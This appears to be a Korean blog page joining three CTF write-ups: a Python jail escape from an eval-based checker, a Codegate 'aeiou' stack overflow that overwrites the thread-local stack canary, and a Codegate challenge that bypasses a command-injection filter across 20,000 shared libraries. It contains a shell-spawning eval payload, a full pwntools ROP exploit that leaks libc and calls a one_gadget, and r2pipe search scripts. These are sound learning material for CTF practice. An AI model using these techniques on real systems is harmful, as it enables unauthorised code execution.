#! /usr/bin/env python3

from sys import exit
from secret import secret_value_for_password, flag, exec

print(r"")
print(r"")
print(r"  ____         __   __           ____                     __  __       ")
print(r" / ___|__ _ _ _\ \ / /__  _   _ / ___|_   _  ___  ___ ___|  \/  | ___  ")
print(r"| |   / _` | '_ \ V / _ \| | | | |  _| | | |/ _ \/ __/ __| |\/| |/ _ \ ")
print(r"| |__| (_| | | | | | (_) | |_| | |_| | |_| |  __/\__ \__ \ |  | |  __/ ")
print(r" \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_|  |_|\___| ")
print(r"                                                                       ")
print(r"")
print(r"")

try:
    val = 0
    inp = input("Input value: ")
    count_digits = len(set(inp))
    if count_digits <= 10:          # Make sure it is a number
        val = eval(inp)
    else:
        raise

    if val == secret_value_for_password:
        print(flag)
    else:
        print("Nope. Better luck next time.")
except:
    print("Nope. No hacking.")
    exit(1)

간단한 pyjail 문제다.

inp는 10개 미만으로 넣어줘야 하기 때문에 input()을 넣어주고 다시 입력 받은 값을 val에 넣도록 했다.
그래서 첨에 만든 payload는 dir(import('os').execlp("sh","sh")) 였는데 이게 python2에서는 쉘을 얻을 수 있는데 python3에서는 무슨 차이인지는 모르겠는데 예외 처리되면서 안된다.

시험기간이라 일단 재껴놓고 있다가 라업 올라오고 확인해보니
chr로 문자열을 만드셔서 하는 분도 있었고,
print(vars())
로 처리하거나
help(flag)
로 문제를 푸신분들도 있다.

근데 vars(), help()로 푼게 unintended 풀이라고 한다.

'CTF' 카테고리의 다른 글

hackzone 2019 pwn1  (0) 2019.05.07
BTH_CTF 2019  (0) 2019.05.01
codegate2019 aeiou  (0) 2019.02.23
CSAW2016 tutorial  (0) 2019.02.01
TJCTF 2016 oneshot  (0) 2019.01.24


간단하게 요약하면 취약점이 있는 함수는 3번 메뉴다.



3번 메뉴의 함수를 보면 pthread_create 함수로 start_routine이란 함수를 thread로 실행시킨다.


start_routine 함수를 보면 s변수의 크기는 '(rbp-0x1010) - 8' 만큼 있고, 

getNumber()함수로 받은 수가 65536보다 작으면 vuln()함수를 실행시킨다.



vuln()함수는 a3만큼 a2에 read하는 함수다.

즉 여기서 overflow가 일어난다.

number를 65535 까지 입력할 수 있는데 아까 s변수는 rbp-0x1010-8이다 즉 4104 만큼이 s변수고 그 다음에 오버플로우로 ret까지 덮을 수 있다.

하지만 이 문제는 카나리가 있어서 우회를 하던가 leak을 해야 한다.

ptrhead함수에 의해 thread로 실행한 함수는 thread의 stack에 TLS(Thread Local Storage)를 사용하여 변수를 저장하고, 원래 카나리를 thread의 stack으로 복사한 후 카나리 체크를 할 때는 해당 스택으로 복사된 카나리와 비교를 한다고 한다.

만약 오버플로우로 복사된 카나리 값 까지 원하는 값으로 덮어 버리게 되면 내가 원하는 값이 카나리로 들어가게 되는 원리다.

우선 gdb로 카나리 값 전까지 입력을 준 다음 thread의 stack으로 복사된 TCB 구조체의 stack_guard 값을 find 명령으로 찾아보았다.

rbp-0x8에 있는 값이 카나리다.

stack에 위치한 카나리와 stack_guard의 거리는 0x7e0(2016)이다. 

즉 카나리 부터 2016바이트까지 덮은 다음 8바이트를 원하는 값으로 채워주면 카나리를 우회할 수 있다.

이 원리를 이용해 rop를 했다.


from pwn import *

#r = process("./aeiou", env={"LD_LIBRARY_PATH":"."})
r = process("./aeiou")
elf = ELF('./aeiou')
libc = ELF('./libc.so')

pop_rdi = 0x4026f3
pop_rsi_r15 = 0x4026f1
pop_rsp = 0x4026ed

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.plt['read']
read_got = elf.got['read']
bss = elf.bss() + 0x200

payload = "\x00"*(0x1010-8)
payload += "DDDD"*4
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(bss)
payload += p64(0)
payload += p64(read_plt)

payload += p64(pop_rsp)
payload += p64(bss-0x18)
payload += "D"*2000

r.sendlineafter(">>", "3")
r.sendlineafter("Let me know the number!", str(len(payload)))

r.send(payload)
pause()
r.recvuntil(":)\x0a")

libc_puts = u64(r.recv(6).ljust(8, "\x00"))
libc_base = libc_puts - libc.symbols['puts']
log.info("libc_puts = {}".format(hex(libc_puts)))
one_gadget = libc_base + 0x4526a
pause()
r.sendline(p64(one_gadget))

r.interactive()


다른분의 라업을 보고 알았는데 bss에 oneshot 가젯의 주소를 read한 다음에 pop_rsp 가젯으로 bss영역을 실행하도록 하는 방법이 신박하다.

return to csu로 풀은 것도 봤는데 다음번에 써봐야겠다.

'CTF' 카테고리의 다른 글

BTH_CTF 2019  (0) 2019.05.01
plaid 2019 can you guess me?  (0) 2019.04.15
CSAW2016 tutorial  (0) 2019.02.01
TJCTF 2016 oneshot  (0) 2019.01.24
QIWICTF 2016 pwn200  (0) 2019.01.23


주어진 zip 파일을 받아서 압축을 해제하면 문제 바이너리와 tar 파일이 나온다.

tar를 또 해제하면 아래와 같이 엄청나게 많은 라이브러리 파일이 들어있다.

정말 많은 양의 라이브러리가 있다.


우선 바이너리를 실행했다.

실행을 하면 처음에 입력을 한번 받고 두번 째 입력을 받는다.

얼추 유추해보면 처음 받는 수는 라이브러리이름 넘버를 받는 것으로 보인다.


두 번째 입력은 뭔가를 받는데 반응이 없다.


이번엔 다른 값을 넣어보았다.

이번엔 라이브러리를 임의로 55를 넣었다.

그리고 이번엔 '\\\\\\'를 넣었더니 명령어 에러 메시지가 나왔다.

두 번째 입력은 ls 뒤에 들어가도록 된 듯 하다.

이제 ida로 확인해보자.

2000의 main함수다.

input으로 라이브러리의 숫자를 받는것을 볼 수 있고,

해당 라이브러리의 test라는 함수의 주소를 가져와 실행시킨다.


나는 55를 넣었으니 lib_55.so 파일도 ida로 열었다.

lib_55.so에서는 lib_9068.so의 filter1 함수를 가져오고, lib_8658.so의 filter2함수를 가져온다.

그리고 system함수의 인자로 ls ""를 준다. 내가 입력한 값은 저 ls의 옵션 부분으로 들어간다.

lib_9068.so의 filter1함수다. 입력값의 필터로 보인다.

libc_8658.so의 filter2다.

f,l,g, bin, sh, bash가 필터로 막혀있다.

두 함수 다 두 번째 입력에 대한 필터 들이다.

이 부분을 우회 해야하는데 우회법을 찾지 못했고, 다른분의 라업을 보면 r2pipe라는 파이썬 라이브러리를 이용했다.


r2pipe는 radare2라는 리버싱 툴을 파이썬으로 사용 가능 하도록 한 API이다.

이 많은 라이브러리들 중 필터가 다른 라이브러리를 찾아서 문제를 풀었다.


import r2pipe
import ast

test = []
filter1 = []
filter2 = []

for i in range(1, 20000+1):
	r2 = r2pipe.open('./lib_{}.so'.format(i))
	if 'dlopen' in r2.cmd('ii'):
		test.append(i)
	if 'filter1' in r2.cmd('is'):
		filter1.append(i)
	if 'filter2' in r2.cmd('is'):
		filter2.append(i)
	if i % 12 == 0:
		print i
	r2.quit()

r = open('test', 'w')
r.write(str(test))
r.close()

r = open('filter1', 'w')
r.write(str(filter1))
r.close()

r = open('filter2', 'w')
r.write(str(filter2))

r2.cmd('ii')는 import 리스트를 출력하는 명령이고,

r2.cmd('is')는 symbol 리스트를 출력하는 명령이다.

해당 명령 설명은 radare2를 실행시켜 명령을 보면 나온다.

위 코드로 filter1, filter2를 가지고 있는 라이브러리 파일들의 리스트를 각각 추출해서 파일로 저장했다.(너무 오래 걸리기 때문에..)


이제 그 리스트로 lib_55.so의 filter1과 다른 필터를 가진 라이브러리를 찾을 것이다.

test = open('./test', 'r').read()
filter1 = open('./filter1', 'r').read()
filter2 = open('./filter2', 'r').read()

test = ast.literal_eval(test)
filter1 = ast.literal_eval(filter1)
filter2 = ast.literal_eval(filter2)

diff = []
for i in filter1:
    r2 = r2pipe.open('./lib_{}.so'.format(i))
    r2.cmd('aaa')
    filters = ['0x3b', '0x2a', '0x7c', '0x26', '0x24', '0x60', '0x3e', '0x3c', '0x72']
    out = r2.cmd('pdf @ sym.filter1')

    for filter in filters:
        if filter not in out:
            ff.append(i)
            break
    r2.quit()

print diff

각 라이브러리 filter1의 어셈블 코드를 받아 55의 필터와 비교하고 없다면 찾아내는 코드다.

lib_4323.so만 다르다고 나왔다.

filter1을 보니 | 문자가 필터에 없었다.

이번엔 이 lib_4323을 불러오는 test()함수를 가진 라이브러리를 찾아보자.

file = []
for i in test:
    r2 = r2pipe.open('./lib_{}.so'.format(i))
    if "./20000_so/lib_4323.so" in r2.cmd('iz'):
        print "find"
        file.append(i)

    if (i % 12 == 0):
        print i
    r2.quit()
print file

r2.cmd('iz')는 해당 바이너리의 string을 찾아내는 명령이다.

lib_17394.so가 나왔다.


lib_17394.so를 ida로 보면 lib_4323.so를 dlopen하고 system("입력값" 2 > /dev/null)을 실행한다. 아까 lib_55.so와는 많이 다른 코드를 가지고 있다.

여기서는 또 lib_11804.so를 dlopen한다. 다시 ida로 lib_11804.so을 열어보자.

아까 본 filter2와는 다른 필터를 가지고 있다. 여기는 bin, sh 다 필터에 없다.

따라서 lib_17394.so를 실행시키면 system("sh")을 실행시킬 수 있다!



'CTF > Codegate' 카테고리의 다른 글

codegate 2018 super marimo  (0) 2019.01.19
CodeGate2018 BaskinRobins31  (0) 2018.07.14
Codegate 2018 RedVelvet writeup  (0) 2018.02.04

+ Recent posts